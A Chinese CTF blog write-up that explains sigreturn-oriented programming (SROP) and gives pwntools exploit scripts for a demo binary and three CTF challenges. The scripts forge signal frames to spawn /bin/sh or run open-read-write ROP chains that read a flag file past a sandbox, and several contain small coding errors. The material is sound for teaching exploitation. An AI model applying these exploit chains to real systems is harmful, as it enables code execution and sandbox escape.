SROP攻击

字数统计: 2.8k字   |   阅读时长≈ 13分

最近做到很大沙箱的题，后面都是靠 ROP 链来 ROW 得到 flag。其中 ROP 链构造，就会使用到 SROP，虽然之前看过，但是一直没碰到什么题又给忘记了。所以，这次再来好好学一下 SROP，并补做一下题。

SROP原理

SROP(Sigreturn Oriented Programming) 技术利用了类Unix系统中的Signal机制，如图（图来自Wiki)：

img

  1. 当一个用户层进程P，发起了Signal时，控制权会进入 内核层；
  2. 内核会保存 进程P当前的执行上下文，将各类寄存器压入栈中，再栈顶压入 rt_sigreturn 地址，然后跳转执行 Signal Handler，即调用了 rt_sigreturn；
  3. Signal Handler 会处理中断，结束后会返回到内核层；
  4. 内核层恢复进程上下文，并将控制权返回给用户层。

内核保存的进程结构体是：ucontext_t，如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// defined in /usr/include/sys/ucontext.h
/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int uc_flags;
    struct ucontext_t *uc_link;
    stack_t uc_stack;           // the stack used by this context
    mcontext_t uc_mcontext;     // the saved context
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
  } ucontext_t;

// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack.  */
typedef struct
  {
    void *ss_sp;
    size_t ss_size;
    int ss_flags;
  } stack_t;

// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short ss;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

结构体中，有很多关于寄存器的操作，而 SROP 的关键就是修改结构体中关于 寄存器的值，从而修改程序执行流。

如果有 sigreturn 的 syscall要执行，我们可以在 rsp处开始 伪造 sig_frame里的各类寄存器，实现 栈迁移（修改 rsp)，传入参数（修改 rdi，rsi，rdx 等），执行函数（修改 rsi）。

如果没有 sigreturn执行，可以先构造 rax的系统调用号 为 15，并将rsp处伪造好 sig_frame，最后再去执行 syscall_ret，实现 执行 sigreturn函数。

示例程序1

该代码，来自参考1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// compiled: 
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop

char global_buf[0x200];

int main()
{
    asm(// 读取最多 200 字节
        "mov $0, %%rax\n" // sys_read

        "mov $0, %%rdi\n" // fd
        "lea %0, %%rsi\n" // buf
        "mov $0x200, %%rdx\n" // count

        "syscall\n"
        // 读取字节数小于 ucontext_t结构体则直接 exit
        "cmp $0xf8, %%rax\n"
        "jb exit\n"

        // 进行恢复上下文
        "mov $0, %%rdi\n"
        "mov %%rsi, %%rsp\n"
        "mov $15, %%rax\n" // sys_rt_sigaction

        "syscall\n"
        "jmp exit\n"

        /* split */
        "nop\n"
        "nop\n"

        // syscall 的 symbol，便于查找
        "syscall:\n"
        "syscall\n" 
        "jmp exit\n"

        // 退出程序
        "exit:\n"
        "mov $60, %%rax\n"
        "mov $0, %%rsi\n"
        "syscall\n"         
        :
        : "m" (global_buf)
        : 
        );
}

程序总体流程就是读取用户输入，小于 ucontext_t 的值就退出，大于就执行 rt_sigreturn 调用。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

context.arch = "amd64"
context.log_level = "debug"
elf = ELF('./SROPtest')
sh = process('./SROPtest')

# generate debug
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

str_bin_sh_offset = 0x100

# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']

# pause()

sh.send(str(frame).ljust(str_bin_sh_offset, 'a') + '/bin/sh\x00')

sh.interactive()

# delete
os.system("rm -f pid")

EXP中主要伪造了 rdi、rsi、rdx、rax这几个寄存器，将rax设置为 execve的系统调用号，将 rdi 设置为 /bin/sh 所在的地址，将 rsi、rdx 设置为 execve 的参数 0，最终调用结果成功执行 execve函数。

2016-360春秋杯 smallest

image-20201006105058241

程序功能很直接，调用 read 函数读取 0x400 字节到 rsp开始的位置。也即当执行完 read 函数后，会 retn 到 rsp所指向的地址处继续执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
    sh = remote('127.0.0.1', 7777)
else:
    sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
gdb.attach(sh)
raw_input()
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

分析

传入3个main函数首地址

EXP中首先发送了三个 main 函数的开始地址 0x4000b0，当执行了 read函数的syscall之后，rsp此时为开始地址，所以程序会跳转再去执行 read 函数。

image-20201006132044038

执行write函数

执行 ret指定，相当于 pop rsp; jmp rsp，此时 rsp增加 8 字节，但是其值仍然为 0x4000b0。执行 read函数时，修改 rsp值得最后一位为 0xb3，此时 rsp的值即为 0x4000b3，跳过了程序开始 xor rax, rax对 rax的检测。

image-20201006132737533

同时由于刚执行的 read函数返回值为 0x1，则此时的 rax 的值也为 0x1，其系统调用号 对应的是 write 函数，所以接下来再执行 syscall，就会执行 write函数。通过 write函数，我们可以泄露栈地址，为我们后面布局 SROP提供帮助。执行完 ret指令后，rsp为我们之前传入的第三个程序开始地址，所以程序又会跳转去执行 read。

image-20201006132759225

执行 read函数输入SROP

得到泄露的栈地址后，就可以向栈中布置 SROP。首先向栈中从 rsp开始处的位置步入如下数据：

1
2
3
4
5
6
7
8
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)

此时栈中从 rsp处的数据如下：

image-20201006133804660

image-20201006133830057

程序执行 ret指令后，又会返回到程序开始处执行 read函数。

此时，再输入 15字节payload:

1
2
3
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

执行完 read函数后，rax变为 0x15，表示 sigreturn的调用号；而 rsp的值为 syscall_ret 的地址，并且紧邻的下一位即是我们伪造的 fake_sigframe 的开始地址。执行 ret指令则会直接去使用 syscall执行 sigreturn。

image-20201006134218061

执行 sigreturn 实现栈迁移

此时执行 sigreturn函数时，会使用我们上面伪造的 fake_sigframe 来恢复寄存器。我们就可以修改 rsp，rip等寄存器的值，实现栈迁移。我们分析一下我们上面伪造的 fake_sigframe里的值：

1
2
3
4
5
6
7
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

rsp=stack_addr ，此处stack_addr 即为我们上面泄露的 栈地址，执行完 sigreturn函数，我们的栈就迁移到 stack_addr处。rip=syscall_ret 是执行完sigreturn函数后，程序执行流会跳转到 syscall_ret继续执行。 rax=SYS_read是syscall执行的系统调用为 read函数。而rsi=stack_addr,rdx=0x400,rdi=0 ，是将要执行的 read函数的参数。

image-20201006135155878

上图中，可以看到 sigreturn执行完后，寄存器已经改变，栈顶指针也已经改变。

布置 getshell的SROP

接下来就需要向栈中继续部署 执行 execve('/bin/sh') 的 SROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)

和上面部署一致，都是需要将 先将栈顶布置为程序开始地址，随后 SROP 中布置 execve的系统调用号、参数等寄存器。并且在最后固定偏移处布置好 ‘/bin/sh\x00 数据。

read函数执行完后，栈顶 rsp 仍然为程序开始地址，会继续执行 read函数：

image-20201006135808366

和上面一样，将栈顶覆盖为 syscall ret地址，然后填充为 0x15 字节。执行完 read函数后，会去执行 syscall_ret，此时 rax为 0x15，即执行 sigreturn函数：

image-20201006135902372

执行完 sigreturn，系统会直接执行 execve函数，getshell成功。

image-20201006135945734

2020 V&N babybabypwn

程序分析

image-20201006144526702

很明显执行了 sigreturn函数，需要使用 SROP 攻击。

image-20201006144421065

开启了沙箱，禁止了上面的函数。我们只能够使用 ORW 来读 flag。

利用分析

构造 SROP 实现栈迁移和read函数

首先构造一个 SROP 链，将栈 RSP 转到我们通过泄露的 libc 地址中的一个 libc 地址rop_addr去，该地址段的权限必须 可读可写，我们在该地址段部署 ROP链。同时将 rip转到 read_addr去，并将 rdi设置为 0，rsi设置为 rop_addr，rdx设为 0x400，则执行完 sigreturn函数，将会执行 read(0，rop_addr, 0x400)函数。

1
2
3
4
5
6
7
sigframe = SigreturnFrame()
sigframe.rdi = 0
sigframe.rsi = rop_addr
sigframe.rdx = 0x400
sigframe.rsp = rop_addr
sigframe.rip = read_addr
p.sendafter('Please input magic message:',str(sigframe)[8:])

此处有一个注意点，就是我们最后输入的 sigframe链去掉了前8字节，经过我调试当执行 sigreturn函数时，系统栈在我们的 sigframe 数据前也就是 rsp处有一个地址，也就是我们的 sigframe数据并不是从 srp开始的，所以往前移了8字节。

构造ORW链读取flag

在上一步实现栈迁移后，程序会执行read函数，我们将我们构造的 ROW 的 ROP 链布置在rop_addr处，此处关键是需要提前确定 flag文件名字符串的位置，我们通常将 flag 文件名字符串放到 rop链的最后。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
orw = flat([
	#open(flag, 0)
	pop_rdi_ret, flag_addr，
	pop_rsi_ret, 0,
	open_addr,
	#read(fd, bss, 0x30)
	pop_rdi_ret, 3,
	pop_rsi_ret, bss_addr,
	pop_rdx, 0x30,
	read_addr,
	#puts(bss_addr)
	pop_rdi_ret, bss_addr,
	puts_addr
])

整个 orw 链执行的函数已经写得十分清楚，最后即可 flag 输出。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./babypwn')
    elf = ELF('./babypwn')
    libc = ELF('./libc.so.6')

def pnw():
    p.recvuntil('Here is my gift: ')
    data = p.recvuntil('\n')
    puts_addr = hex(data)
    print 'puts_addr:',hex(puts_addr)
    libc_base = puts_addr - libc.sym['puts']
    print 'libc_base:',hex(libc_base)
    bss_addr = libc_base + 0x00000000003C4000
    rop_addr = bss_addr + 0x500
    write_addr = libc_base + libc.sym['write']
    open_addr = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    pop_rdi = libc_base + 0x21112
    pop_rsi = libc_base + 0x202f8
    pop_rdx = libc_base + 0x1b92

    sigframe = SigreturnFrame()
    sigframe.rdi = 0
    sigframe.rsi = rop_addr
    sigframe.rdx = 0x400
    sigframe.rsp = rop_addr
    sigframe.rip = read_addr
    p.sendafter('Please input magic message:',str(sigframe)[8:])

    flag_addr = rop_addr + 0x78
    rop1 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
    rop1 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
    rop1 += p64(pop_rdi) + p64(bss) + p64(puts_addr)
    rop1 += '/flag\x00'

    p.send(rop1)
    p.interactive()

pwn()

2020 V&N WarmUp

程序分析

image-20201006200758652

程序在最里层的一个 read函数，溢出了 0x10大小。

image-20201006200344170

程序开启了沙箱，禁止执行 execve函数，执行 write函数时，其输出大小不能等于 0x10，左移32位不能等于0x0。

利用分析

首先 read2 的函数栈 就在 read1函数栈的上面，也就是 read2的 ret 地址和 read1 的 rsp地址是连在一起的，可以在 read1的 rsp处布置 ROP链，然后在 read2 处的 ret地址处直接跳到 read1的 rsp处执行。

read1的 rsp 处的 rop就是常规的 ORW链。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./warmup')
    elf = ELF('./warmup')
    libc = ELF('./libc.so.6')
else:
    p = remote('127.0.0.1',5000)
    libc = ELF('./libc-2.23.so')

def pwn():
    p.recvuntil('Here is my gift: ')
    data = p.recvuntil('\n')
    puts_addr = int(data, 16)
    libc_base = puts_addr - libc.sym['puts']
    print 'libc_base:',hex(libc_base)
    bss_addr = libc_base + 0x00000000003C4000
    rop_addr = bss_addr + 0x500
    write_addr = libc_base + libc.sym['write']
    open_addr = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    pop_rdi_ret = libc_base + 0x21112
    pop_rsi_ret = libc_base + 0x202f8
    pop_rdx_ret = libc_base + 0x1b92
    flag_addr = bss_addr + 0x600
    ret_addr = libc_base + 0x937
    print 'flag_addr:',hex(flag_addr)
    gdb.attach(p)
    rop1 = flat([pop_rdi_ret, 0,pop_rsi_ret, flag_addr, pop_rdx_ret, 0x30, read_addr]) 
    orw = flat([
        pop_rdi_ret, flag_addr,
        pop_rsi_ret, 0,
        open_addr,
        pop_rdi_ret, 3,
        pop_rsi_ret, bss_addr,
        pop_rdx_ret, 0x30,
        read_addr,
        pop_rdi_ret, bss_addr,
        puts_addr
        ])

    payload1 = rop1+orw
    p.recvuntil('Input something: ')
    p.send(payload1)
    #raw_input()
    payload2 = 'a'*0x78 + p64(ret_addr)
    p.recvuntil('What\'s your name?')
    p.send(payload2)
    raw_input()
    p.send('./flag\x00')
    p.interactive()

pwn()

参考

CTF-WIKI

SROP攻击原理及例题解析

SROP exploit

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing